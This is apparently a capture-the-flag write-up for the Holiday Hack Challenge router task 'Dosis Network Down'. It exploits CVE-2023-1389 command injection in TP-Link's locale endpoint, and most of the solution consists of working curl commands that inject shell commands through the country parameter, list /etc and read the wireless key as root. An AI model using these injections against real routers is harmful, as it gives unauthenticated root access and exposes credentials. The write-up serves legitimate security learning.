Introduction

Dosis Network Down

Difficulty:
Drop by JJ's 24-7 for a network rescue and help restore the holiday cheer. What is the WiFi password found in the router's config?

Janusz Jasinski in the 24-7 convenience store:

image-20251109163237743
Janusz Jasinski

Janusz Jasinski

Alright then. Those bloody gnomes ‘ave proper messed about with the neighborhood’s wifi - changed the admin password, probably mucked up all the settings, the lot.

Now I can’t get online and it’s doing me ‘ead in, innit?

We own this router, so we’re just takin’ back what’s ours, yeah?

You reckon you can ‘elp me ‘ack past whatever chaos these little blighters left be’ind?

Chat with Janusz Jasinski

Congratulations! You spoke with Janusz Jasinski!

Clicking on the WiFi router opens a web interface:

image-20251109163450765

Solution

Login Form

Any password I guess at the login form fails:

image-20251110070359959

The other links on the site don’t do anything, which is a bit weird. I think rather than actually running the WiFi router, Holiday Hack Challenge is likely running a dumbed down web application that’s meant to emulate the router in the ways necessary to exploit it, and likely they just didn’t implement the Forgot Password or DOSIS-Link ID pages.

CVE-2023-1389

Identify

The firmware version has a date that looks like 2023 in it, which means there’s a good chance it’s out of date. I’ll search for all these strings along with “CVE” and find many references to a command injection flaw in this router:

image-20251110070101498

The GitHub advisory page shows this is CVE-2023-1389, which is:

TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.

Technically this vulnerability is patched as of this version, so it shouldn’t be vulnerable. However, it’s worth a try anyway because (a) it’s not uncommon for the versions in CVE documentation to be off, and (b) it’s likely that the Holiday Hack team wanted to make sure this CVE came up when people searched for it, so they put this version here.

This vulnerability is also part of the CISA Known Exploited Vulnerabilities Catalog and reportedly heavily used by the Mirai and Condi botnets in June 2023.

POC

There are POCs available such as this one. Looking more closely at the Python script, it just makes a simple GET request with a command injection payload to a URL that looks like:

url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + payload + ")"

The other key thing to note is that it makes the request twice:

# Send the URL twice to run the command. Sending twice is necessary for the attack
r = requests.get(url_command, verify=False)
r = requests.get(url_command, verify=False)

This POC won’t work as written for this target. But for anything this simple I’ll always try manually anyway with curl. I’ll start with a simple id payload:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id)'
OK
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id)'
uid=0(root) gid=0(root) groups=0(root)

The first request just returns OK, but the second runs id and shows the webserver is running as root.

More Complicated Commands

I’d like to run more complex commands, but having spaces in the command breaks it:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(ls /)'
curl: (3) URL rejected: Malformed input to a URL function
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(ls -l)'
curl: (3) URL rejected: Malformed input to a URL function

I like to URL encode by moving the parameter to --data-urlencode. Having that changes the request to a POST request, so I’ll add -G to force a GET:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls /)'
OK
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls /)'
bin
cgi-bin
dev
etc
home
lib
lib64
mnt
opt
proc
root
sbin
sys
tmp
usr
var
www

Solve

Flag

The challenge is to find the WiFi password. On Linux-based routers like this one running OpenWrt, configuration files are typically stored in /etc. I’ll check there:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls -l /etc)'
OK
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls -l /etc)'
total 7
-rw-rw-r-- 1 999 999 446 May 29 19:02 banner
drwxrwxr-x 1 999 999   0 Sep 16 12:39 config
-rw-rw-r-- 1 999 999 399 May 29 19:03 device_info
-rw-rw-r-- 1 999 999  78 May 29 18:57 group
-rw-rw-r-- 1 999 999 367 Sep 16 12:37 hostapd.conf
-rw-rw-r-- 1 999 999  18 May 29 18:57 hostname
-rw-rw-r-- 1 999 999 151 May 29 18:57 hosts
drwxrwxr-x 1 999 999   0 May 29 18:32 hotplug.d
drwxrwxr-x 1 999 999   0 May 29 18:35 init.d
-rw-rw-r-- 1 999 999 578 May 29 19:03 motd
-rw-rw-r-- 1 999 999   7 May 29 19:03 openwrt_release
-rw-rw-r-- 1 999 999 236 May 29 19:03 openwrt_version
-rw-rw-r-- 1 999 999 244 May 29 18:57 passwd
-rw-rw-r-- 1 999 999 378 May 29 19:03 profile
drwxrwxr-x 1 999 999   0 May 29 18:32 rc.d
-rw-rw-r-- 1 999 999  59 May 29 18:57 resolv.conf
-rw-rw-r-- 1 999 999 165 May 29 18:57 shadow

The config directory seems interesting. I’ll list it:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls -l /etc/config)'
OK
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls -l /etc/config)'
total 7
-rw-rw-r-- 1 999 999  825 May 29 18:57 dhcp
-rw-rw-r-- 1 999 999 2364 May 29 18:57 firewall
-rw-rw-r-- 1 999 999  566 May 29 18:57 leds
-rw-rw-r-- 1 999 999  672 May 29 18:57 network
-rw-rw-r-- 1 999 999  355 May 29 18:57 system
-rw-rw-r-- 1 999 999  744 Sep 16 12:36 wireless

wireless seems like where the WiFi password would be configured, and it is:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(cat /etc/config/wireless)'
OK
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(cat /etc/config/wireless)'
config wifi-device 'radio0'
        option type 'mac80211'
        option channel '6'
        option hwmode '11g'
        option path 'platform/ahb/18100000.wmac'
        option htmode 'HT20'
        option country 'US'

config wifi-device 'radio1'
        option type 'mac80211'
        option channel '36'
        option hwmode '11a'
        option path 'pci0000:00/0000:00:00.0'
        option htmode 'VHT80'
        option country 'US'

config wifi-iface 'default_radio0'
        option device 'radio0'
        option network 'lan'
        option mode 'ap'
        option ssid 'DOSIS-247_2.4G'
        option encryption 'psk2'
        option key 'SprinklesAndPackets2025!'

config wifi-iface 'default_radio1'
        option device 'radio1'
        option network 'lan'
        option mode 'ap'
        option ssid 'DOSIS-247_5G'
        option encryption 'psk2'
        option key 'SprinklesAndPackets2025!'

The flag is “SprinklesAndPackets2025!”.

Shell

I’ll go for a reverse shell on the host, but the host is incredibly stripped down:

oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls -l /bin)'
OK
oxdf@hacky$ curl 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale?form=country&operation=write' -G --data-urlencode 'country=$(ls -l /bin)'
total 823
-rwxr-xr-x 1 999 999  44016 Sep 16 12:39 cat
-rwxr-xr-x 1 999 999 224848 Sep 16 12:39 find
-rwxr-xr-x 1 999 999 203152 Sep 16 12:39 grep
-rwxr-xr-x 1 999 999  48144 Sep 16 12:39 id
-rwxr-xr-x 1 999 999 151344 Sep 16 12:39 ls
-rwxr-xr-x 1 999 999  43952 Sep 16 12:39 pwd
-rwxr-xr-x 1 999 999 125640 Sep 16 12:39 sh

I’ll check other binary locations, but find nothing at all. It’d be very difficult to get a reverse shell using just these.

Outro

Dosis Network Down

Congratulations! You have completed the Dosis Network Down challenge!

Janusz appreciates the work:

Janusz Jasinski

Janusz Jasinski

Brilliant work, that. Got me connection back and sent those gnomes packin’ from the router.

Now I can finally get back to streamin’ some proper metal. BTC tips accepted, by the way.